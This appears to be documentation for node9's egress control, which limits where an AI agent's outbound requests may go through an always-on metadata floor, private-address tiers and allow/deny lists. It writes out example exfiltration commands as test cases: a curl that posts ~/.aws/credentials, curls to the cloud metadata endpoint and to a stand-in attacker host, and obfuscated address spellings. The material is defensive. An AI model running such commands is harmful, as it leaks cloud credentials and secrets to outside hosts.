Egress Control · node9 documentation

Egress Control

Two separate things decide whether an agent's outbound request is allowed. One is always on and cannot be turned off. The other is opt-in and you configure it.

The floor: protected addresses, always

Some destinations are refused on every machine whether or not egress control is on, and no setting releases them. It exists because an agent that can be steered by untrusted input can be steered into your cloud provider's credential endpoint.

Never reachableExamples
Cloud metadata169.254.169.254 for AWS, Azure, DigitalOcean and OpenStack, 169.254.170.2 for an ECS task role, the Alibaba Cloud address, and the metadata hostnames
Link-local169.254.0.0/16, fe80::/10
Multicast224.0.0.0 to 239.255.255.255, ff00::/8

Every spelling of an address folds to one canonical form before the decision, so 0251.0376.0251.0376, 2852039166 and [::ffff:a9fe:a9fe] are all recognised as 169.254.169.254.

The floor does not depend on egress control
It applies with egress off, in every mode, on a personal machine and on one governed by a workspace. The one thing that suspends it is node9 pause, which suspends every gate.

Reachable by default, refused under strict

WhatExamples
Loopback and private127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12, ::1
Unspecified0.0.0.0 and ::, which reach localhost
Carrier-grade NAT100.64.0.0/10, where mesh VPNs such as Tailscale hand out addresses
Turning the tier on
node9 egress strict on          # also refuse loopback, private ranges and CGNAT
node9 egress exempt 10.0.0.5    # let one exact address back through
These are reachable by default on purpose: a developer talks to them constantly. On measured real history, 72 of 308 destinations were private addresses. An exemption applies to these tiers only, and exempting a metadata address is refused when the config loads, with a reason, rather than ignored quietly.

Egress control: which hosts, your choice

This is the opt-in layer. It is off until you turn it on, and it decides what happens when the agent reaches a host you have not talked about.

Turn it on
node9 egress watch     # ask before an unknown host
node9 egress lock      # refuse an unknown host outright
node9 egress off       # turn it back off
node9 egress status    # what is on, and where the setting came from
Tune the lists
node9 egress allow "*.mycorp.com"    # a glob; apex and any subdomain
node9 egress deny  "*.pastebin.com"  # deny always wins
Eighteen common development and model hosts are allowed out of the box, so turning egress on cold does not bury you in prompts: GitHub, npm, PyPI, crates.io, RubyGems, the Go module proxy, Anthropic, OpenAI, Google APIs, Docker, Debian, Ubuntu and node9's own control plane. Your allow list adds to that; your deny list beats all of it.

Order of decision

StepWhat happens
1. The floorA protected address is refused here and nothing below runs.
2. Your deny listA match refuses.
3. Private addressesAllowed while allowPrivate is on, which is the default.
4. Your allow list, then the eighteenAllowed.
5. Anything elseUnknown. Watch asks about it; lock refuses it.

What this does not do

It gates the destination, not the payload
A secret sent to a host you allow goes through. curl -d @~/.aws/credentials https://api.github.com/... is not stopped by egress, because that host is allowed. What catches a secret in a request body is the content scanner, which is a different control.

Three more limits worth knowing. It reads the command rather than the network: node9 decides from the destination visible in the tool call, does not resolve DNS, and has no opinion on a host's reputation. A machine that follows a workspace ignores local egress settings, so if node9 egress status names the workspace as the source, editing the local config changes nothing, though the floor still applies. And node9 pause suspends it along with every other gate.

Verify it on this machine

Four commands
node9 egress status                                       # is it on, and who set it
node9 explain Bash 'curl http://169.254.169.254/latest/'  # the floor: refused, always
node9 explain Bash 'curl https://evil.example/collect'     # unknown host, once it is on
node9 explain Bash 'curl https://api.github.com/repos'     # a default-allowed host
node9 explain prints a verdict line the engine marks as authoritative, which is the one the live hook enforces, and names the rule that produced it. The tier trace above that line is a preview and can differ from it.